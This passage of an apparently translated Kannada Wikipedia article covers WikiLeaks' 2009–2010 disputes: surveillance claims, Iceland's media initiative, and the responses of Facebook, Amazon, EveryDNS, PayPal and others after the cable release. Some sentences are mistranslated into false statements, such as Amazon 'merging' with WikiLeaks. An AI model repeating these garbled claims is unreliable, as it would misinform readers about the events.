ವಿಡಿಯೋ ಬಹಿರಂಗಗೊಳಿಸಿದ್ದು ಮತ್ತು ಅವರು ಗ್ರಾನೈ ವೈಮಾನಿಕ ದಾಳಿಯ ದೃಶ್ಯವನ್ನು ಬಹಿರಂಗಗೊಳಿಸಲು ಸಿದ್ಧತೆ ನಡೆಸಿದ ನಂತರ ತನ್ನ ಸ್ವಯಂ ಸೇವಕರ ಗುಂಪು ತೀವ್ರ ಕಣ್ಗಾವಲಿನಲ್ಲಿದೆ ಎಂದು ಜೂಲಿಯನ್‌ ಅಸ್ಸಾಂಜೆ ಹೇಳಿದರು. ಒಂದು ಸಂದರ್ಶನದಲ್ಲಿ ಮತ್ತು ಟ್ವಿಟ್ಟರ್ ಪೋಸ್ಟ್‌ನಲ್ಲಿ ಅವರು, ಮಾರ್ಚ್‌ನಲ್ಲಿ ರೇಕ್‌ಜಾವಿಕ್‌ನ ಒಂದು ರೆಸ್ಟುರಾಂಟ್‌ನಲ್ಲಿ ತಾವು ಸ್ವಯಂ-ಕಾರ್ಯಕರ್ತರ ಒಂದು ಗುಂಪು ಭೇಟಿಯಾಗಿದ್ದು ಮೇಲ್ವಿಚಾರಣೆಗೆ ಬಂದಿದೆ. ಪೋಲೀಸರು ಮತ್ತು ವಿದೇಶೀ ರಹಸ್ಯ ಇಲಾಖೆ ಕೂಡಾ ಗುಪ್ತವಾಗಿ ಹಿಂಬಾಲಿಸಿದ್ದು ಮತ್ತು ಫೋಟೋಗಳನ್ನು ತೆಗೆದಿದ್ದು ಗೊತ್ತಾಗಿದೆ. ಒಬ್ಬ ಬ್ರಿಟೀಷನೆಂದು ಕಾಣುವ ಗುಪ್ತಚಾರ ಅಧಿಕಾರಿ ಲಕ್ಸಂಬರ್ಗ್‌ನ ಕಾರ್ ಪಾರ್ಕಿಂಗ್ ಬಳಿ ಚಿಕ್ಕದಾಗಿ ಹೆದರಿಸಿದ. ಮತ್ತು ಒಬ್ಬ ಕಾರ್ಯಕರ್ತನನ್ನು ಪೋಲೀಸರು ಸುಮಾರು 21 ಗಂಟೆಗಳವರೆಗೆ ಹಿಡಿದಿಟ್ಟುಕೊಂಡಿದ್ದರು ಎಂದು ಹೇಳಿದ್ದಾರೆ. ಇನ್ನೊಬ್ಬ ಕಾರ್ಯಕರ್ತ ಹೇಳಿದ, "ಕಂಪ್ಯೂಟರ್‌ಗಳನ್ನು ವಶಪಡಿಸಿಕೊಳ್ಳಲಾಯಿತು. ನಮಗೇನಾದರೂ ಆದರೆ, ನಿಮಗೆ ಯಾಕೆ ಎಂದು ಗೊತ್ತು ... ಮತ್ತು ಅದಕ್ಕೆ ಯಾರು ಜವಾಬ್ದಾರಿ ಎಂದು ನಿಮಗೆ ಗೊತ್ತು."<ref name="autogenerated4">{{cite news|url=http://www.timesonline.co.uk/tol/news/world/us_and_americas/article7094234.ece|title=Whistleblowers on US ‘massacre’ fear CIA stalkers|date=11 April 2010|work=The Sunday Times |location=UK |author=Matthew Campbell | location=London}}</ref> ''ಕೋಲಂಬಿಯಾ ಜರ್ನಲಿಸಂ ರಿವ್ಯೂ'' ಪ್ರಕಾರ, "ತಮ್ಮನ್ನು ಪರಿಶೀಲನೆ ಮಾಡಲಾಗಿತ್ತು ಎಂದು ಅಸ್ಸಾಂಜೆ ಆರೋಪ ಮಾಡಿದ್ದನ್ನು ಐಸ್‌ಲ್ಯಾಂಡಿಕ್ ಮಾಧ್ಯಮಗಳು ಪರೀಕ್ಷೆ ಮಾಡಿದವು[...] ಮತ್ತು, ಅಂತಾದ್ದೇನೂ ಕಂಡುಬರಲಿಲ್ಲ."<ref>{{cite web|url=http://www.cjr.org/behind_the_news/thin_ice.php |title=Thin Ice |publisher=CJR |date=|accessdate=1 August 2010}}</ref> ಆಗಸ್ಟ್ 2009ರಲ್ಲಿ, ಕೌಪ್‌ಥಿಂಗ್‌ ಬ್ಯಾಂಕ್ ಐಸ್‌ಲ್ಯಾಂಡ್‌ನ ರಾಷ್ಟ್ರೀಯ ಪ್ರಸಾರ ವಾಹಿನಿ RÚV ಯು ಬ್ಯಾಂಕ್‌ನ ಕುರಿತಾದ ವರದಿಯೊಂದನ್ನು ಪ್ರಸಾರ ಮಾಡದಂತೆ ಕೋರ್ಟ್ ಆದೇಶವನ್ನು ತರುವುದರಲ್ಲಿ ಸಫಲವಾಗಿತ್ತು. ಈ ವಿಷಯವನ್ನು ಮಾಹಿತಿದಾರರು ವಿಕಿಲೀಕ್ಸ್‌ಗೆ ಇದನ್ನು ನೀಡಿದರು ಮತ್ತು ಇದು ವಿಕಿಲೀಕ್ಸ್ ಸೈಟ್‌ನಲ್ಲಿ ದೊರೆಯುವಂತೆ ಮಾಡಲಾಯಿತು. ಆದೇಶ ತಂದ ಕಾರಣಕ್ಕಾಗಿ ತಮ್ಮ ನಿರ್ಧಾರಿತ ವಿಷಯವನ್ನು ಪ್ರಸಾರ ಮಾಡದೇ ವಿಕಿಲೀಕ್ಸ್‌ನ ಚಿತ್ರಣವನ್ನು ಪ್ರಸಾರ ಮಾಡಿತು. ಐಸ್‌ಲ್ಯಾಂಡ್‌ನ ನಾಗರೀಕರು RÚV ಯನ್ನು ಅಗತ್ಯ ಸುದ್ಧಿಯನ್ನು ಪ್ರಕಟಿಸದಂತೆ ತಡೆಯಲಾಯಿತು ಎಂಬ ಕಾರಣಕ್ಕಾಗಿ ಕೋಪಗೊಂಡರು.<ref>{{cite news |title=Iceland court lifts gag order after public outrage |url=http://www.thefreelibrary.com/Iceland+court+lifts+gag+order+after+public+outrage-a01611956752 |publisher= |agency=[[Associated Press]] |date=4 August 2009 |accessdate=1 January 2011 |archive-date=30 ಏಪ್ರಿಲ್ 2011 |archive-url=https://web.archive.org/web/20110430052928/http://www.thefreelibrary.com/Iceland+court+lifts+gag+order+after+public+outrage-a01611956752 |url-status=dead }}</ref> ಆದ್ದರಿಂದ, ವಿಕಿಲೀಕ್ಸ್‌ವು ಐಸ್‌ಲ್ಯಾಂಡಿಕ್ ಮಾಡರ್ನ್ ಮೀಡಿಯಾ ಇನಿಶಿಯೇಟಿವ್ ಗೆ ಸ್ಪೂರ್ತಿಯಾಗಿದೆ ಎಂಬ ಗೌರವ ಹೊಂದಿದೆ. ಇದು ಐಲ್ಯಾಂಡ್ಸ್ 2007 ''ರಿಪೋರ್ಟರ್ಸ್ ವಿಥೌಟ್ ಬಾರ್ಡರ್ಸ್ (ರಿಪೋರ್ಟರ್ಸ್ ಸ್ಯಾನ್ಸ್ ಫ್ರಾಂಟಿಯರ್ಸ್)'' ಎಂಬ ಮುಕ್ತ ಅಭಿವ್ಯಕ್ತಿಯಲ್ಲಿ ಜಗತ್ತಿನಲ್ಲಿಯೇ ಮೊದಲು ಎಂಬ ರೇಂಕಿಂಗ್ ಅನ್ನು ಮರುಪಡೆಯಲು ಉದ್ದೇಶಿಸಿ ಮಾಡಿದ ಬಿಲ್ ಆಗಿತ್ತು. ಮೂಲಗಳು, ಪತ್ರಕರ್ತರು, ಹಾಗೂ ಪ್ರಕಾಶಕರ ರಕ್ಷಣೆಗೆ ಕಾನೂನು ಮೂಲಕ ಕಟ್ಟಳೆ ವಿಧಿಸುವುದನ್ನು ಇದು ಗುರಿಯಾಗಿಟ್ಟುಕೊಂಡಿದೆ.<ref>{{cite web|url=http://immi.is/?l=en|title=Icelandic Modern Media Initiative|publisher=immi.is}}</ref><ref>{{cite news|url=http://news.bbc.co.uk/2/hi/technology/8510927.stm |title= Iceland's journalism freedom dream prompted by Wikileaks |publisher=BBC|date=13 February 2010}}</ref> ವಿಕಿಲೀಕ್ಸ್‌ನ ಏರ್ವ ಮಾಜಿ ಸ್ವಯಂಸೇವಕ ಹಾಗೂ ಐಲ್ಯಾಂಡ್ ಸಂಸತ್ ಸದಸ್ಯ ಬರ್ಗಿಟ್ಟಾ ಜೊನ್ಸ್‌ಡುಟ್ಟಿರ್ ಅವರು ಯೋಜನೆಯ ಮುಖ್ಯ ಪ್ರಾಯೋಜಕರು. ===ಸಂಘಟನೆಗಳು ಮತ್ತು ಸಂಸ್ಥೆಗಳು=== ====ಫೇಸ್‌ಬುಕ್‌==== ವಿಕಿಲೀಕ್ಸ್‌ನ 30,000 ಕ್ಕೂ ಅಧಿಕ ಅಭಿಮಾನಿಗಳಿದ್ದ ಪುಟವನ್ನು ಫೇಸ್‌ಬುಕ್ ಅಳಿಸಿ ಹಾಕಿದೆ ಎಂದು ವಿಕಿಲೀಕ್ಸ್ 2010 ರ ಏಪ್ರಿಲ್‌ನಲ್ಲಿ ಹೇಳಿತು.<ref>{{Cite news |title=WikiLeaks claims Facebook deleted its page, 30000 fans |url=http://www.news.com.au/technology/wikileaks-claims-facebook-deleted-its-page-30000-fans/story-e6frfro0-1225856489723 |publisher=News.com.au |date=21 April 2010 |accessdate=23 April 2010 |archive-date=30 ಮೇ 2012 |archive-url=https://archive.is/20120530/http://www.news.com.au/technology/wikileaks-claims-facebook-deleted-its-page-30000-fans/story-e6frfro0-1225856489723 |url-status=dead }}</ref><ref>{{Cite news |title=Wikileaks Claims Facebook Deleted Their Fan Page Because They "Promote Illegal Acts" |url=http://gawker.com/5520933/wikileaks-claims-facebook-deleted-their-fan-page-because-they-promote-illegal-acts |publisher=Gawker |date=20 April 2010 |accessdate=21 April 2010}}</ref><ref>{{Cite news |title=Wikileaks Fan Page Pulled Down for Being "Inauthentic," Says Facebook |url=http://techpresident.com/blog-entry/wikileaks-fan-page-pulled-down-being-inauthentic-says-facebook |publisher=techPresident |date=21 April 2010 |accessdate=22 April 2010 |archive-date=24 ಏಪ್ರಿಲ್ 2010 |archive-url=https://web.archive.org/web/20100424055832/http://techpresident.com/blog-entry/wikileaks-fan-page-pulled-down-being-inauthentic-says-facebook |url-status=dead }}</ref> ಆದರೆ, 2010 ರ ಡಿಸೆಂಬರ್ 7 ರಂತೆ ಫೇಸ್‌ಬುಕ್ ಅಭಿಮಾನಿಗಳ ಪುಟವು ಲಭ್ಯವಿದೆ ಮತ್ತು ಪ್ರತಿದಿನವೂ 100,000 ಅಭಿಮಾನಿಗಳು ಡಿಸೆಂಬರ್ 1 ರಿಂದ ಹೆಚ್ಚಿ 1.5 ಮಿಲಿಯನ್ ಅಭಿಮಾನಿಗಳಿದ್ದಾರೆ.<ref>{{Citation|last=Glanfield|first=Tim|title=WikiLeaks supporters embrace Twitter & Facebook accounts|url=http://www.beehivecity.com/hightech/wikileaks-supporters-embrace-twitter-facebook-as-accounts-boom114012132/|date=2 December 2010|access-date=4 ಫೆಬ್ರವರಿ 2011|archive-date=5 ಡಿಸೆಂಬರ್ 2010|archive-url=https://web.archive.org/web/20101205020009/http://www.beehivecity.com/hightech/wikileaks-supporters-embrace-twitter-facebook-as-accounts-boom114012132/|url-status=dead}}</ref> ಇದು ವಾರದ ಅತಿದೊಡ್ಡ ಬೆಳವಣಿಗೆ ಕೂಡ ಹೌದು.<ref>{{cite web |url=http://www.famecount.com/all-platforms/Worldwide |title=search for 'Wikileaks' |publisher=Famecount.com |date= |accessdate=5 December 2010 |archive-date=20 ಜನವರಿ 2011 |archive-url=https://web.archive.org/web/20110120134221/http://www.famecount.com/all-platforms/Worldwide |url-status=dead }}</ref> ಫೇಸ್‌ಬುಕ್‌ನಲ್ಲಿ ವಿಕಿಲೀಕ್ಸ್‌ನ ಉಪಸ್ಥಿತಿಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಡಿ.ಸಿ.ಯ ಸಾರ್ವಜನಿಕ ಧೋರಣೆ ಸಂಪರ್ಕಗಳ ವ್ಯವಸ್ಥಾಪಕ ಆಂಡ್ರ್ಯೂ ನೋಯಿಸ್ ಹೇಳಿಕೆ ನೀಡಿ, "ವಿಕಿಲೀಕ್ಸ್‌ನ ಫೇಸ್‌ಬುಕ್ ವೆಬ್ ಪುಟವು ನಮ್ಮ ಗುಣಮಟ್ಟವನ್ನೂ ಉಲ್ಲಂಘಿಸುವುದಿಲ್ಲ. ಮತ್ತು ಈ ಪುಟದಲ್ಲಿ ನಮ್ಮ ಧೋರಣೆಯನ್ನು ಉಲ್ಲಂಘಿಸುವಂತಹ ಯಾವುದೇ ಸಂಗತಿಯನ್ನು ಪ್ರಕಟಿಸಿರುವುದೂ ಸಹಾ ಕಾಣುವುದಿಲ್ಲ" ಎಂದು ತಿಳಿಸಿದರು.<ref>{{cite web |url=http://www.readwriteweb.com/archives/facebook_were_not_kicking_wikileaks_off_our_site.php |title=Facebook: We're Not Kicking Wikileaks Off Our Site |date=6 December 2010 |accessdate=7 December 2010 |first=Marshall |last=Kirkpatrick |publisher=[[ReadWriteWeb]] |archive-date=7 ಡಿಸೆಂಬರ್ 2010 |archive-url=https://web.archive.org/web/20101207193302/http://www.readwriteweb.com/archives/facebook_were_not_kicking_wikileaks_off_our_site.php |url-status=dead }}</ref> ====ಮನಿಬುಕರ್ಸ್==== ಅಕ್ಟೋಬರ್ 2010 ರಲ್ಲಿ ವರದಿಯಾದಂತೆ ವಿಕಿಲೀಕ್ಸ್‌ಗೆ ದೇಣಿಗೆಯನ್ನು ಸಂಗ್ರಹಿಸುತ್ತಿದ್ದ ಮನಿಬುಕರ್ಸ್‌ ಆ ಸೈಟ್‌ನೊಂದಿಗೆ ತನ್ನ ಸಂಬಂಧವನ್ನು ಕೊನೆಗಾಣಿಸಿಕೊಂಡಿತು. ಮನಿಬುಕರ್ಸ್ ಹೇಳಿಕೆ ನೀಡಿ "ಹಣದ ಮೂಲವನ್ನು ಗೌಪ್ಯವಾಗಿಡುವುದು ಅಥವಾ ಸರ್ಕಾರಿ ಅಧಿಕಾರಿಗಳು, ಮಧ್ಯವರ್ತಿಗಳು ಅಥವಾ ಆಯೋಗಗಳಿಂದ ನಡೆಸಲ್ಪಟ್ಟ ತನಿಖೆಗಳಿಗೆ ಹೊಂದುವಂತೆ ಮಾಡಲು" ಈ ನಿರ್ಧಾರ ಮಾಡಿದೆ ಎಂದು ತಿಳಿಸಿದರು.<ref name="moneybookers">{{cite news |title=WikiLeaks says funding has been blocked after government blacklisting |author1=Leigh, David |author2=Evans, Rob |work=The Guardian |url=https://www.theguardian.com/media/2010/oct/14/wikileaks-says-funding-is-blocked |date=14 October 2010 |accessdate=4 December 2010}}</ref> ===ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸೂಕ್ಷ್ಮ ತಂತಿವಾರ್ತೆ ಬಹಿರಂಗಕ್ಕೆ ಪ್ರತಿಕ್ರಿಯೆಗಳು=== ''ದಿ ಟೈಮ್ಸ್'' ಪ್ರಕಾರ, ವಿಕಿಲೀಕ್ಸ್ ಮತ್ತು ಅದರ ಸದಸ್ಯರು ತಮಗೆ ಕಾನೂನು ಒತ್ತಡ ಮತ್ತು ಗುಪ್ತ ದಳ ಸಂಸ್ಥೆಗಳ ಮೂಲಕ ದಸ್ತಗಿರಿ ಮಾಡಿದ ಸಮಯ ಹೆಚ್ಚಿಸುವುದು, ಗಣಕಯಂತ್ರಗಳನ್ನು ವಶಕ್ಕೆ ತೆಗೆದುಕೊಳ್ಳುವುದು, ಅಜ್ಞಾತ ವಾಸಕ್ಕೆ ಸೇರಿಸುವುದು ಸೇರಿದಂತೆ ಕಿರುಕುಳ ಮತ್ತು ಕಣ್ಗಾವಲು ಇಡುತ್ತಿರುವುದು, “ಇವುಗಳನ್ನು ಮತ್ತು ಅಡಗಿಸಲ್ಪಟ್ಟ ಛಾಯಾಚಿತ್ರಗಳನ್ನು ಬದಲಾಯಿಸುವುದ”ನ್ನು ಮಾಡಲಾಗುತ್ತಿದೆ ಎಂದು ಆರೋಪಿಸಿದರು.<ref name="campbell" /> ಜೂಲಿಯಾನ್ ಅಸ್ಸಾಂಜೆ ಅವರ ಇಬ್ಬರು ವಕೀಲರು ಇಂಗ್ಲೆಂಡಿನಲ್ಲಿ ''ದಿ ಗಾರ್ಡಿಯನ್'' ಗೆ ಹೇಳಿಕೆ ನೀಡಿ, ಅಮೇರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ತಂತಿವಾರ್ತೆ ಬಹಿರಂಗಗೊಂಡ ನಂತರ 2010 ರ ನವೆಂಬರ್ 28 ರಿಂದ ಆರಂಭವಾಗಿ ತಾವು ರಕ್ಷಣಾ ಸೇವೆಗಳ ಮೂಲಕ ಗಮನಿಸಲ್ಪಡುತ್ತಿದ್ದೇವೆ ಎಂದು ಹೇಳಿದರು.<ref>{{cite news|url=https://www.theguardian.com/media/2010/dec/05/julian-assange-lawyers-being-watched |title=Julian Assange's lawyers say they are being watched |author=Sam Jones and agencies|work=The Guardian |location=UK |date=5 December 2010|accessdate=5 December 2010}}</ref> ದಿನಗಳೆದಂತೆ ಅನೇಕ ಸಂಸ್ಥೆಗಳು ವಿಕಿಲೀಕ್ಸ್ ಜೊತೆಗೆ ಇನ್ನೂ ಗಟ್ಟಿಯಾಗಿ ಸೇರಿಕೊಂಡವು. 24 ಗಂಟೆಗಳ ಘೋಷಣೆಯನ್ನು ಕೊಟ್ಟ ನಂತರ 2010 ರ ಡಿಸೆಂಬರ್ 2 ರಂದು ಅಮೇರಿಕವು ಡಿಡಿಓಎಸ್ನ ಆಕ್ರಮಣವು ಆಧಾರವ್ಯವಸ್ಥೆಯ ಭದ್ರತೆಗೆ ಅಪಾಯವೊಡ್ಡಿದೆ ಎಂದು ಹೇಳಿ ವಿಕಿಲೀಕ್ಸ್ ನಿಂದ ಬಿಡಲ್ಪಟ್ಟ ಎವ್ವರಿಡಿಎನ್ಎಸ್ ನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಂಡಿತು.<ref name="satter" /><ref>{{cite web|last=Palsule|first=Mahendra|title=EveryDNS.net Terminates Wikileaks.org DNS Services, Wikileaks.ch Back Up in Switzerland|url=http://www.skepticgeek.com/miscellaneous/everydns-net-terminates-wikileaks-dns-services/|work=Skeptic Geek|accessdate=11 December 2010|date=3 December 2010}}</ref> ವಿಕಿಲೀಕ್ಸ್ ಮತ್ತು ಕ್ಯಾಬ್ಲೆಗೇಟ್ ವೆಬ್ ಸೈಟ್ ಗಳಿಗೆ ಪರ್ಯಾಯ ವಿಳಾಸವನ್ನು ವೆಬ್ ಸೈಟ್ ನ ‘ಇನ್ ಫೋ’ ಡಿಎನ್ಎಸ್ ಹೊಂದಿರುವಂತೆ ತೋರಿತು.<ref>{{cite web |last=Pauli |first=Darren |title=WikiLeaks loses domain name after DoS attacks |date=2 December 2010 |url=http://www.zdnet.co.uk/news/security/2010/12/03/wikileaks-loses-domain-name-after-dos-attacks-40091046/ |publisher=ZDNet |accessdate=11 December 2010}}</ref> ಇದೇ ದಿನ ಅಮೇರಿಕಾದ ಸಂಸದ ಜೋ ಲೀಬರ್ಮನ್ ಅವರು ಸಹಾಯ ಮಾಡುವ ಮೂಲಕ ಹಸ್ತಕ್ಷೇಪ ಮಾಡಿದಾಗ ವಿಕಿಲೀಕ್ಸ್ ಗೆ ಮೂಲಭೂತ ಸೇವೆ ಒದಗಿಸುತ್ತಿದ್ದ ಅಮೇಜಾನ್‌.ಕಾಮ್ ವಿಕಿಲೀಕ್ಸ್ ನೊಂದಿಗೆ ವಿಲೀನವಾಯಿತು.<ref name="vance">{{cite news |url=https://www.nytimes.com/2010/12/04/world/europe/04domain.html?_r=1&hp |title=WikiLeaks Struggles to Stay Online After Attacks |work=The New York Times |date=3 December 2010 |author=Vance, Ashlee |accessdate=5 December 2010}}</ref><ref name="agedec4">{{cite news |last=Welch |first=Dylan |date=4 December 2010 |title=Attacks shut down WikiLeaks |url=http://www.theage.com.au/world/attacks-shut-down-wikileaks-20101203-18jqt.html |newspaper=The Age |accessdate=11 December 2010}}</ref><ref name="guadec02">{{cite news |last=MacAskill |first=Ewen |date=2 December 2010 |title=WikiLeaks website pulled by Amazon after U.S. political pressure |url=https://www.theguardian.com/media/2010/dec/01/wikileaks-website-cables-servers-amazon |newspaper=The Guardian |accessdate=11 December 2010}}</ref> ಅಮೇಜಾನ್ ರಾಜಕೀಯ ಒತ್ತಡದಡಿ ಕೆಲಸ ಮಾಡಲು ತನ್ನ ಸೇವೆಯ ಪರಿಮಿತಿಗಳನ್ನು ಭಂಗಪಡಿಸುವ ಹೇಳಿಕೆ ನೀಡುವ ಮೂಲಕ ನಿರಾಕರಿಸಿತು.<ref>{{cite web |url=http://aws.amazon.com/message/65348/ |title=Amazon Web Services Message |publisher=[[Amazon Web Services]] |accessdate=4 December 2010}}</ref> ಅಮೇರಿಕಾ ಸರ್ಕಾರದಿಂದ ಬಂದ ಪರೋಕ್ಷ ಒತ್ತಡವನ್ನು ಉಲ್ಲೇಖಿಸಿ ಟಾಬ್ಲಿಯು ಸಾಫ್ಟ್ ವೇರ್ ಕೂಡ ವಿಕಿಲೀಕ್ಸ್ ನ ದತ್ತಾಂಶಗಳನ್ನು ತನ್ನ ವೆಬ್ ಸೈಟ್ ನಿಂದ ಜನರಿಗೆ ದತ್ತಾಂಶಗಳು ಕಾಣಿಸುವಂತೆ ಮಾಡಿ ಬಿಟ್ಟಿತು.<ref>{{cite news |url=http://www.readwriteweb.com/cloud/2010/12/tableau-software-drops-wikileaks.php |title=Another Falls: Tableau Software Drops WikiLeaks Data Visualizations |first=Finley |last=Klint |publisher=ReadWriteCloud |date=2 December 2010 |accessdate=10 December 2010 |archive-date=19 ಜನವರಿ 2012 |archive-url=https://web.archive.org/web/20120119100241/http://www.readwriteweb.com/cloud/2010/12/tableau-software-drops-wikileaks.php |url-status=dead }}</ref><ref>{{cite web |url=https://www.tableausoftware.com/blog/why-we-removed-wikileaks-visualizations |last=Fink |first=Elissa |title=Why We Removed the WikiLeaks Visualizations |publisher=[[Tableau Software]] |date=2 December 2010 |accessdate=10 December 2010}}</ref> ಮುಂದಿನ ದಿನಗಳಲ್ಲಿ ವಿಕಿಲೀಕ್ಸ್ ಸೈಟ್ ನ ನೂರಾರು (ಕೊನೆಯಲ್ಲಿ ಸಾವಿರಕ್ಕಿಂತ ಹೆಚ್ಚು<ref>{{cite news |date=9 December 2010 |url=http://www.bbc.co.uk/news/technology-11957367 |title=Pro-Wikileaks activists abandon Amazon cyber attack |publisher=BBC News |accessdate=10 December 2010}}</ref>) ಪ್ರತಿಬಿಂಬಕಗಳು ಕಂಡುಬಂದವು ಮತ್ತು ಹೆಸರಿಲ್ಲದ ಅಂತರ್ಜಾಲ ತೀವ್ರವಾದಿಗಳು ಬೆಂಬಲಿಗರಿಗೆ ವಿಕಿಲೀಕ್ಸ್ ನ್ನು ಬೆಂಬಲಿಸದ ಸಂಸ್ಥೆಗಳ ವೆಬ್ ಸೈಟ್ ಗಳಿಗೆ ಆಕ್ರಮಣ ಮಾಡುವಂತೆ,<ref name="somaiya">{{cite news |url=https://www.nytimes.com/2010/12/06/world/europe/06wiki.html |title=Hundreds of WikiLeaks Mirror Sites Appear |last=Somaiya |first=Ravi |work=The New York Times |date=5 December 2010 |accessdate=6 December 2010}}</ref> ಆಪರೇಶನ್ ಪೇಬ್ಯಾಕ್ ಹಣೆಪಟ್ಟಿಯಡಿ ಮೊದಲು ಖಾಸಗಿ-ವಿರೋಧಿ ಸಂಸ್ಥೆಗಳಿಗೆ ಗುರಿಯಾದವರಿಗೆ ಹೇಳಿದವು.<ref>{{cite news |url=http://www.pcworld.com/businesscenter/article/212701/operation_payback_wikileaks_avenged_by_hacktivists.html |title=Operation Payback: WikiLeaks Avenged by Hacktivists |last=Bradley |first=Tony |publisher=PC World |date=7 December 2010 |accessdate=8 December 2010}}</ref> wikileaks.org ವಿಳಾಸವನ್ನು ಮುಚ್ಚಲು ಕೈಗೊಂಡ ಕ್ರಮಗಳು ಸ್ಟ್ರೇಸಾಂಡ್ ಪರಿಣಾಮ ಉಂಟಾಗಲು ಕಾರಣವಾಯಿತು, ಈ ಮೂಲಕ ಆನ್ ಲೈನ್ ನಲ್ಲಿ ಮಾಹಿತಿಗಳನ್ನು ತಡೆಯುವ ಕ್ರಮಗಳು ಅನೇಕ ಪ್ರದೇಶಗಳಲ್ಲಿ ಪುನರಾವರ್ತನೆಗೊಳ್ಳಲು ಕಾರಣವಾಯಿತು ಎಂದು ಎಫ್ ಟಿಪಿ ವರದಿ ನೀಡಿತು.<ref>{{cite news |url=http://www.vancouversun.com/life/Barbra+Streisand+Effect+keeps+WikiLeaks+online/3930694/story.html |title=How the Barbra Streisand Effect keeps WikiLeaks online |publisher=Agence France-Presse |date=5 December 2010 |accessdate=6 December 2010 |archive-date=8 ಡಿಸೆಂಬರ್ 2010 |archive-url=https://web.archive.org/web/20101208211237/http://www.vancouversun.com/life/Barbra+Streisand+Effect+keeps+WikiLeaks+online/3930694/story.html |url-status=dead }}</ref> ಡಿಸೆಂಬರ್ 3 ರಂದು ಇಬೇ ಮಾಲಿಕತ್ವದ ಹಣ ಪಾವತಿ ಕಾರ್ಯಕಾರಿಯಾದ ಪೇಯ್ ಪಲ್, ವಿಕಿಲೀಕ್ಸ್ ಗೆ ದತ್ತಿ ನೀಡುತ್ತಿದ್ದ ವೂ ಹೊಲಾಂಡ್ ಫೌಂಡೇಶನ್ನ ಖಾತೆಯನ್ನು ಶಾಶ್ವತವಾಗಿ ಮುಚ್ಚಿತು. ಖಾತೆಯು ತನ್ನ "ಅಕ್ಸಪ್ಟೇಬಲ್ ಯೂಸ್ ಪಾಲಿಸಿ" ಯನ್ನು ಉಲ್ಲಂಘಿಸಿದೆ ಎಂದು ಆರೋಪಿಸಿತು, ವಿಶೇಷವಾಗಿ ಖಾತೆಯು, "ಇತರರು ಅಕ್ರಮ ಚಟುವಟಿಕೆಗಳಲ್ಲಿ ತೊಡಗುವಂತೆ ಪ್ರೋತ್ಸಾಹ, ಉತ್ತೇಜನ, ಅನುಕೂಲಗಳನ್ನು ನೀಡುವುದು ಅಥವಾ ನಿರ್ದೇಶಗಳನ್ನು ನೀಡುವ ಕೆಲಸದಲ್ಲಿ ತೊಡಗಿದೆ" ಎಂದು ಹೇಳಿತು.<ref>{{cite news |url=http://www.cbsnews.com/stories/2010/12/04/world/main7117213.shtml |title=PayPal Turns Off Tap for WikiLeaks Donations |agency=Associated Press |date=4 December 2010 |publisher=CBS News |accessdate=5 December 2010}}</ref><ref>{{cite news |url=https://www.bloomberg.com/news/2010-12-04/paypal-restricts-wikileaks-account-as-website-comes-under-global-scrutity.html |title=PayPal Restricts WikiLeaks Account as Website Comes Under Global Scrutity |first=Joseph |last=Galante |date=4 December 2010 |publisher=[[Bloomberg L.P.]] |accessdate=4 December 2010}}</ref> ನಂತರ ಪೇಯ್ ಪಲ್ ನ ಉಪಾಧ್ಯಕ್ಷರು ಹೇಳಿಕೆ ನೀಡಿ, “ಇವು ಅಕ್ರಮ ಚಟುವಟಿಕೆಗಳಾಗಿವೆ ಎಂದು ರಾಜ್ಯ ಇಲಾಖೆಯು ನಮಗೆ ಹೇಳಿದ ನಂತರ ಹಣಪಾವತಿಯನ್ನು ನಿಲ್ಲಿಸಲಾಯಿತು ಎಂದರು. ಇದು ಮುಚ್ಚುಮರೆಯಿಲ್ಲದ್ದಾಗಿದೆ.” ಅದೇ ದಿನದ ನಂತರದಲ್ಲಿ, ಅವರ ಹಿಂದಿನ ಹೇಳಿಕೆಯು ತಪ್ಪಾಗಿದೆ, ಮತ್ತು ಅದು ನಿಜವಾಗಿ ರಾಜ್ಯ ಇಲಾಖೆಯಿಂದ ವಿಕಿಲೀಕ್ಸ್ ಗೆ ಬರೆದ ಪತ್ರವನ್ನು ಆಧರಿಸಿತ್ತು ಎಂದು ಹೇಳಿದರು.<ref>{{cite web |url=https://techcrunch.com/2010/12/08/paypal-vp-on-blocking-wikileaks-state-department-told-us-it-was-illegal/ |title=PayPal VP On Blocking WikiLeaks: “State Department Told Us It Was Illegal” |first=Alexia |last=Tsotsis |publisher=Tech Crunch |date=8 December 2010 |accessdate=8 December 2010}}</ref> 2010 ರ ಡಿಸೆಂಬರ್ 8 ರಂದು, ವೂ ಹೊಲಾಂಡ್ ಫೌಂಡೇಶನ್ ಒಂದು ಪತ್ರಿಕಾ ಹೇಳಿಕೆ ನೀಡಿ, ವಿಕಿಲೀಕ್ಸ್ ಗೆ ಹಣ ಪಾವತಿಸಲು ಉಪಯೋಗಿಸಿದ ಖಾತೆಯನ್ನು ತಡೆಹಿಡಿದಿರುವುದರ ವಿರುದ್ಧ ಕಾನೂನು ಕ್ರಮ ಕೈಗೊಂಡಿರುವುದಾಗಿ ಹಾಗೂ ಪೇಯ್ ಪಲ್ ನ "ಅಕ್ರಮ ಚಟುವಟಿಕೆಗಳು" ಆರೋಪಕ್ಕೆ ಸಂಬಂಧಪಟ್ಟಂತೆ ಮಾನನಷ್ಟ ಮೊಕದ್ದಮೆ ಹೂಡಲಾಗಿದೆ ಎಂದು ತಿಳಿಸಿತು.<ref>{{cite press release |title=Presseerklärung der Wau Holland Stiftung zur Sperrung ihres Account bei PayPal |publisher=Wau Holland Stiftung |language=German |date=8 December 2010 |url=http://wauland.de/presseerklaerung_accountsperrung.html |accessdate=8 December 2010 |archive-date=10 ಡಿಸೆಂಬರ್ 2010 |archive-url=https://web.archive.org/web/20101210073302/http://wauland.de/presseerklaerung_accountsperrung.html |url-status=dead }}</ref> ಡಿಸೆಂಬರ್ 6 ರಂದು ಸ್ವಿಸ್ ಬ್ಯಾಂಕ್, ಪೋಸ್ಟ್ ಫೈನಾನ್ಸ್ ತಾವು ಹೊಂದಿದ್ದ ಒಟ್ಟು 31 ಸಾವಿರ ಯುರೋಗಳಷ್ಟು ಅಸ್ಸಾಂಜೆ ಅವರ ಆಸ್ತಿಗಳನ್ನು ತಡೆಹಿಡಿದಿರುವುದಾಗಿ ಘೋಷಿಸಿದವು. ಅವರ ವೆಬ್ ಸೈಟ್ ನಲ್ಲಿನ 